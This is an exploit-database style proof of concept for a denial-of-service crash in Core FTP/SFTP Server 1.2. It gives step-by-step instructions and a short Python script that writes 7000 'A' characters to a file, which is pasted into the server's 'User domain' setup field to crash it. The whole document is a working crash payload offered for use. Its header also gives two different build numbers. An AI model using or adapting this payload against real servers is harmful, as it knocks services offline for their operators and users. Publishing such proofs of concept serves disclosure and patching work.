Core FTP/SFTP Server 1.2 Build 589.42 - 'User domain' Denial of Service (PoC)

#Exploit Title: Core FTP/SFTP Server 1.2 - Build 589.42 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-13
#Vendor Homepage: http://www.coreftp.com/
#Software Link: http://www.coreftp.com/server/download/archive/CoreFTPServer589.42.exe
#Tested Version: v2-Build 673
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Core_FTP_SFTP_Server_1.2.py
#2.- Open core_code.txt and copy content to clipboard
#3.- Open Core FTP Server
#4.- Select "Setup" > "New"
#5.- Select "Domain Name" and Put "Test"
#6.- Select "Domain IP/Address" and Put "1.1.1.1" 
#7.- Select "Base directory" and Choose a directory path
#8.- Enable "WinNT users" 
#9.- Select "User domain" and Paste Clipboard
#10.- Click on "Ok" and the next window click "Ok"
#11.- Crashed

cod = "\x41" * 7000

f = open('core_code.txt', 'w')
f.write(cod)
f.close()